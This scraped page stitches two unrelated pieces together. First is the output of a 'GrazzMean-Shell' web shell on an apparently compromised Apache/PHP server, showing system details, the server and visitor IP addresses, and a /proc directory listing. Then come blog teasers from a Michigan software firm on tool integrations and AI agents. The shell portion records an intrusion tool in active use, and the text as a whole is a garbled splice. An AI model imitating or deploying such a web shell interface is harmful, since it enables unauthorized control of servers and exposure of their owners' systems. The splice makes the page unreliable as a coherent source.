shell bypass 403

GrazzMean-Shell Shell

: /proc/ [ dr-xr-xr-x ]
Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 3.135.220.239
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
name last edit size owner:downer permission options
..
1 2024-11-29 09:23:11 - root:root dr-xr-xr-x
10 2025-01-11 13:00:45 - root:root dr-xr-xr-x
11 2025-01-11 13:00:45 - root:root dr-xr-xr-x
114 2025-01-11 13:00:45 - root:root dr-xr-xr-x
12 2025-01-11 13:00:45 - root:root dr-xr-xr-x
122763 2025-01-11 13:00:45 - root:root dr-xr-xr-x
122768 2025-01-11 13:00:45 - root:root dr-xr-xr-x
122774 2025-01-11 13:00:45 - root:root dr-xr-xr-x
122776 2025-01-11 13:00:45 - root:root dr-xr-xr-x
122777 2025-01-11 13:00:45 - root:root dr-xr-xr-x
14 2025-01-11 13:00:45 - root:root dr-xr-xr-x
15 2025-01-11 13:00:45 - root:root dr-xr-xr-x
152 2025-01-11 13:00:45 - root:root dr-xr-xr-x
153 2025-01-11 13:00:45 - root:root dr-xr-xr-x
154 2025-01-11 13:00:45 - root:root dr-xr-xr-x
155 2025-01-11 13:00:45 - root:root dr-xr-xr-x
16 2025-01-11 13:00:45 - root:root dr-xr-xr-x
17 2025-01-11 13:00:45 - root:root dr-xr-xr-x
174 2025-01-11 13:00:45 - root:root dr-xr-xr-x
175 2025-01-11 13:00:45 - root:root dr-xr-xr-x
1771 2025-01-11 13:00:45 - root:root dr-xr-xr-x
18 2025-01-11 13:00:45 - root:root dr-xr-xr-x
189 2025-01-11 13:00:45 - root:root dr-xr-xr-x
19 2025-01-11 13:00:45 - root:root dr-xr-xr-x
2 2025-01-11 13:00:45 - root:root dr-xr-xr-x
20 2025-01-11 13:00:45 - root:root dr-xr-xr-x
21 2025-01-11 13:00:45 - root:root dr-xr-xr-x
210 2025-01-11 13:00:45 - root:root dr-xr-xr-x
22 2025-01-11 13:00:45 - root:root dr-xr-xr-x
23 2025-01-11 13:00:45 - root:root dr-xr-xr-x
24 2025-01-11 13:00:45 - root:root dr-xr-xr-x
240 2025-01-11 13:00:45 - root:root dr-xr-xr-x
287 2025-01-11 13:00:45 - root:root dr-xr-xr-x
288 2025-01-11 13:00:45 - root:root dr-xr-xr-x
3 2025-01-11 13:00:45 - root:root dr-xr-xr-x
358 2025-01-11 13:00:45 - root:root dr-xr-xr-x
386 2025-01-11 13:00:45 - root:root dr-xr-xr-x
4 2025-01-11 13:00:45 - root:root dr-xr-xr-x
419 2025-01-11 13:00:45 - root:root dr-xr-xr-x
479 2025-01-11 13:00:45 - root:root dr-xr-xr-x
6 2025-01-11 13:00:45 - root:root dr-xr-xr-x
610197 2025-01-11 13:00:45 - root:root dr-xr-xr-x
610245 2025-01-11 13:00:45 - root:root dr-xr-xr-x
636 2025-01-11 13:00:45 - root:root dr-xr-xr-x
637 2025-01-11 13:00:45 - root:root dr-xr-xr-x
638 2025-01-11 13:00:45 - root:root dr-xr-xr-x
639 2025-01-11 13:00:45 - root:root dr-xr-xr-x
640 2025-01-11 13:00:45 - root:root dr-xr-xr-x
653 2025-01-11 13:00:45 - root:root dr-xr-xr-x
656 2025-01-11 13:00:45 - root:root dr-xr-xr-x
657 2025-01-11 13:00:45 - root:root dr-xr-xr-x
658 2025-01-11 13:00:45 - root:root dr-xr-xr-x
664 2025-01-11 13:00:45 - root:root dr-xr-xr-x
667 2025-01-11 13:00:45 - root:root dr-xr-xr-x
669 2025-01-11 13:00:45 - root:root dr-xr-xr-x
684 2025-01-11 13:00:45 - systemd-timesync:systemd-timesync dr-xr-xr-x
70 2025-01-11 13:00:45 - root:root dr-xr-xr-x
71 2025-01-11 13:00:45 - root:root dr-xr-xr-x
72 2025-01-11 13:00:45 - root:root dr-xr-xr-x
722263 2025-01-11 14:09:03 - root:root dr-xr-xr-x
73 2025-01-11 13:00:45 - root:root dr-xr-xr-x
731 2025-01-11 13:00:45 - systemd-network:systemd-network dr-xr-xr-x
731496 2025-01-11 15:12:25 - www-data:www-data dr-xr-xr-x
732986 2025-01-11 15:23:17 - root:root dr-xr-xr-x
733 2025-01-11 13:00:45 - systemd-resolve:systemd-resolve dr-xr-xr-x
733891 2025-01-11 15:28:52 - root:root dr-xr-xr-x
734409 2025-01-11 15:31:55 - www-data:www-data dr-xr-xr-x
734630 2025-01-11 15:33:11 - www-data:www-data dr-xr-xr-x
735614 2025-01-11 15:39:01 - www-data:www-data dr-xr-xr-x
735685 2025-01-11 15:39:01 - root:root dr-xr-xr-x
736002 2025-01-11 15:40:54 - www-data:www-data dr-xr-xr-x
736164 2025-01-11 15:41:49 - www-data:www-data dr-xr-xr-x
736781 2025-01-11 15:45:13 - www-data:www-data dr-xr-xr-x
737405 2025-01-11 15:48:37 - www-data:www-data dr-xr-xr-x
737443 2025-01-11 15:48:49 - www-data:www-data dr-xr-xr-x
737636 2025-01-11 15:49:50 - www-data:www-data dr-xr-xr-x
738184 2025-01-11 15:52:50 - www-data:www-data dr-xr-xr-x
738585 2025-01-11 15:55:01 - www-data:www-data dr-xr-xr-x
738834 2025-01-11 15:56:20 - root:root dr-xr-xr-x
739273 2025-01-11 15:58:46 - www-data:www-data dr-xr-xr-x
739457 2025-01-11 15:59:47 - www-data:www-data dr-xr-xr-x
739554 2025-01-11 16:00:17 - www-data:www-data dr-xr-xr-x
74 2025-01-11 13:00:45 - root:root dr-xr-xr-x
745 2025-01-11 13:00:45 - root:root dr-xr-xr-x
749 2025-01-11 13:00:45 - root:root dr-xr-xr-x
75 2025-01-11 13:00:45 - root:root dr-xr-xr-x
750 2025-01-11 13:00:45 - messagebus:messagebus dr-xr-xr-x
759 2025-01-11 13:00:45 - root:root dr-xr-xr-x
76 2025-01-11 13:00:45 - root:root dr-xr-xr-x
761 2025-01-11 13:00:45 - root:root dr-xr-xr-x
762 2025-01-11 13:00:45 - syslog:syslog dr-xr-xr-x
77 2025-01-11 13:00:45 - root:root dr-xr-xr-x
770 2025-01-11 13:00:45 - root:root dr-xr-xr-x
772 2024-11-29 09:23:19 - root:root dr-xr-xr-x
773 2025-01-11 13:00:45 - daemon:daemon dr-xr-xr-x
78 2025-01-11 13:00:45 - root:root dr-xr-xr-x
793 2025-01-11 13:00:45 - root:root dr-xr-xr-x
8 2025-01-11 13:00:45 - root:root dr-xr-xr-x
81 2025-01-11 13:00:45 - root:root dr-xr-xr-x
82 2025-01-11 13:00:45 - root:root dr-xr-xr-x
823 2025-01-11 13:00:45 - root:root dr-xr-xr-x
825 2025-01-11 13:00:45 - root:root dr-xr-xr-x
84 2025-01-11 13:00:45 - root:root dr-xr-xr-x
85 2025-01-11 13:00:45 - root:root dr-xr-xr-x
86 2025-01-11 13:00:45 - root:root dr-xr-xr-x
87 2025-01-11 13:00:45 - root:root dr-xr-xr-x
870 2025-01-11 13:00:45 - root:root dr-xr-xr-x
883 2025-01-11 13:00:45 - root:root dr-xr-xr-x
9 2025-01-11 13:00:45 - root:root dr-xr-xr-x
96 2025-01-11 13:00:45 - root:root dr-xr-xr-x
99 2025-01-11 13:00:45 - root:root dr-xr-xr-x
acpi 2024-11-29 09:23:13 - root:root dr-xr-xr-x
bus 2024-11-29 09:23:16 - root:root dr-xr-xr-x
driver 2025-01-11 13:18:16 - root:root dr-xr-xr-x
fs 2024-11-29 09:23:16 - root:root dr-xr-xr-x
irq 2024-11-29 09:23:16 - root:root dr-xr-xr-x
net 2025-01-11 16:00:20 - www-data:www-data dr-xr-xr-x
pressure 2025-01-11 13:18:37 - root:root dr-xr-xr-x
scsi 2024-11-29 09:23:16 - root:root dr-xr-xr-x
self 2025-01-11 15:48:37 - www-data:www-data dr-xr-xr-x
sys 2024-11-29 09:23:11 - root:root dr-xr-xr-x
sysvipc 2025-01-11 13:18:59 - root:root dr-xr-xr-x
thread-self 2025-01-11 16:00:20 - www-data:www-data dr-xr-xr-x
tty 2025-01-11 13:00:45 - root:root dr-xr-xr-x
buddyinfo 2025-01-11 16:00:20 0 B root:root -r--r--r--
cgroups 2025-01-11 16:00:20 0 B root:root -r--r--r--
cmdline 2025-01-11 13:56:47 0 B root:root -r--r--r--
consoles 2025-01-11 16:00:20 0 B root:root -r--r--r--
cpuinfo 2025-01-11 16:00:20 0 B root:root -r--r--r--
crypto 2025-01-11 16:00:20 0 B root:root -r--r--r--
devices 2025-01-11 16:00:20 0 B root:root -r--r--r--
diskstats 2025-01-11 16:00:20 0 B root:root -r--r--r--
dma 2025-01-11 16:00:20 0 B root:root -r--r--r--
execdomains 2025-01-11 16:00:20 0 B root:root -r--r--r--
fb 2025-01-11 16:00:20 0 B root:root -r--r--r--
filesystems 2025-01-11 13:09:01 0 B root:root -r--r--r--
interrupts 2025-01-11 16:00:20 0 B root:root -r--r--r--
iomem 2025-01-11 16:00:20 0 B root:root -r--r--r--
ioports 2025-01-11 16:00:20 0 B root:root -r--r--r--
kallsyms 2024-11-29 09:23:16 0 B root:root -r--r--r--
kcore 2024-11-29 09:23:11 128 TB root:root -r--------
key-users 2025-01-11 16:00:20 0 B root:root -r--r--r--
keys 2025-01-11 16:00:20 0 B root:root -r--r--r--
kmsg 2024-11-29 09:23:16 0 B root:root -r--------
kpagecgroup 2025-01-11 16:00:20 0 B root:root -r--------
kpagecount 2025-01-11 16:00:20 0 B root:root -r--------
kpageflags 2025-01-11 13:19:02 0 B root:root -r--------
loadavg 2025-01-11 16:00:20 0 B root:root -r--r--r--
locks 2025-01-11 16:00:20 0 B root:root -r--r--r--
mdstat 2025-01-11 16:00:20 0 B root:root -r--r--r--
meminfo 2025-01-11 13:00:45 0 B root:root -r--r--r--
misc 2025-01-11 16:00:20 0 B root:root -r--r--r--
modules 2025-01-11 16:00:20 0 B root:root -r--r--r--
mounts 2025-01-11 16:00:20 0 B root:root -r--r--r--
mtrr 2024-11-29 09:23:16 0 B root:root -rw-r--r--
pagetypeinfo 2025-01-11 16:00:20 0 B root:root -r--------
partitions 2025-01-11 16:00:20 0 B root:root -r--r--r--
sched_debug 2025-01-11 16:00:20 0 B root:root -r--r--r--
schedstat 2025-01-11 16:00:20 0 B root:root -r--r--r--
slabinfo 2025-01-11 16:00:20 0 B root:root -r--------
softirqs 2025-01-11 16:00:20 0 B root:root -r--r--r--
stat 2025-01-11 13:00:45 0 B root:root -r--r--r--
swaps 2024-11-29 09:23:13 0 B root:root -r--r--r--
sysrq-trigger 2024-11-29 09:23:16 0 B root:root --w-------
timer_list 2025-01-11 16:00:20 0 B root:root -r--------
uptime 2025-01-11 13:00:45 0 B root:root -r--r--r--
version 2025-01-11 16:00:20 0 B root:root -r--r--r--
version_signature 2025-01-11 16:00:20 0 B root:root -r--r--r--
vmallocinfo 2025-01-11 16:00:20 0 B root:root -r--------
vmstat 2025-01-11 16:00:20 0 B root:root -r--r--r--
zoneinfo 2025-01-11 16:00:20 0 B root:root -r--r--r--
© 2025 GrazzMean-Shell
January 2023 - Michigan AI Application Development - Best Microsoft C# Developers & Technologists

Tech Blog

Tech Insights, Information, and Inspiration
Notion Github Integration

Notion Github Integration

Notion’s GitHub integration makes it easy to stay organized and up-to-date on your projects. You can use the integration to connect Notion to your GitHub repositories and keep track of their progress in your Notion workspace. You can also use Notion to create issues, pull requests, and manage reviews. This integration allows you to keep all of your project information in one place, making it easier to stay on top of tasks and collaborate with your team.

Confluence Slack Integration 

Confluence Slack Integration 

Confluence Slack Integration is a feature that allows users to integrate their Confluence workspace with their Slack workspace. This integration allows users to access and manage their Confluence workspace within Slack, making it easier to collaborate on tasks or stay up-to-date with any important updates. Users can link their Confluence account to their Slack workspace to gain access to all of the features that the integration provides.

What is the software development life cycle?

What is the software development life cycle?

The software development life cycle (SDLC) is a process used by software engineers to plan, design, develop, test and deploy software applications. The SDLC is a framework that describes the steps taken during the software development process, from initial concept to final deployment. It is often used as a guide for developers to ensure that all necessary steps are taken and that all deliverables are satisfactory.

Ecommerce Web Development

Ecommerce Web Development

Ecommerce web development is the process of creating an online store or website that allows customers to purchase goods and services. This process involves designing, coding, programming, and hosting the website, along with marketing and customer service. This type of website typically includes a shopping cart, payment processing, and a content management system to manage the products and services being sold.

Jira GitHub Integration

Jira GitHub Integration

Jira and GitHub Integration enables teams to link and track their project development quickly and accurately. By integrating Jira and GitHub, teams can easily track workflows, view the current status of their project and have visibility into what’s been completed, what’s in progress, and what’s left to do.

Get In Touch

6 + 6 =

UseTech Design, LLC
TROY, MI • BLOOMFIELD HILLS, MI
Call or text +1(734) 367-4100

Approaching AI: How Today’s Businesses Can Harness Its Capabilities

Artificial Intelligence (AI) has transitioned from being a speculative concept in science fiction to a transformative force across numerous industries. Among the most intriguing aspects of AI are AI agents, which are software entities that perform tasks on behalf of users. Understanding AI agents in real-world terms involves examining their components, capabilities, applications, and the ethical considerations they raise.

AI Agents: Bridging the Gap Between Technology and Real-World Applications

Among the most intriguing aspects of AI are AI agents, which are software entities that perform tasks on behalf of users. Understanding AI agents in real-world terms involves examining their components, capabilities, applications, and the ethical considerations they raise.

Utilizing AI Agents for Effective Legacy Code Modernization

As companies strive to keep pace with innovation, the modernization of legacy code becomes imperative. Artificial Intelligence (AI) agents offer a compelling solution to this problem, providing sophisticated tools and methodologies to facilitate the transition from legacy systems to modern architectures.

Embracing the Future: How AI Agents Will Change Everything

The future with AI agent technology holds immense promise for transforming our world in profound and unprecedented ways. From personalized experiences and seamless integration into daily life to empowering human-computer collaboration and revolutionizing healthcare, AI agents are poised to redefine the way we live, work, and interact with technology.

AI Agents vs. Traditional Customer Support: A Comparative Analysis

While traditional support offers a human touch and emotional connection, AI agents provide scalability, efficiency, and 24/7 availability. Moving forward, businesses must carefully assess their unique needs and customer expectations to determine the optimal balance between AI-driven automation and human interaction.

The Future of Business Intelligence: AI Solutions for Data-driven Decision Making

The future of business intelligence is AI-powered, where data becomes not just a strategic asset but a competitive advantage. In today’s hyper-connected digital world, data has become the lifeblood of business operations. Every click, purchase, and interaction generates valuable information that, when analyzed effectively, can provide crucial insights for strategic decision-making.

Democratized AI: Making Artificial Intelligence Accessible to All

Democratized AI has the potential to revolutionize industries and improve society by making AI technologies more accessible and inclusive. However, it also presents challenges such as data privacy, bias, and ethical considerations that must be addressed to ensure responsible implementation.

Explainable AI (XAI): Techniques and Methodologies within the Field of AI

Imagine a black box. You feed data into it, and it spits out a decision. That’s how many AI systems have traditionally functioned. This lack of transparency can be problematic, especially when it comes to trusting the AI’s reasoning. This is where Explainable AI (XAI) comes in.

Building an AI-Ready Workforce: Key Skills and Training Strategies

As artificial intelligence (AI) continues to transform industries and reshape the employment landscape, the demand for a skilled AI-ready workforce intensifies. Organizations across various sectors are recognizing the imperative of equipping their employees with the necessary skills and knowledge to thrive in an AI-driven world.

Working Together: Approaches to Multi-agent Collaboration in AI

Imagine a team of specialists – a data whiz, a communication expert, and an action master – all working in sync. This is the power of multi-agent collaboration, with the potential to revolutionize fields like scientific discovery, robotics, and self-driving cars. But getting these AI agents to collaborate effectively presents unique challenges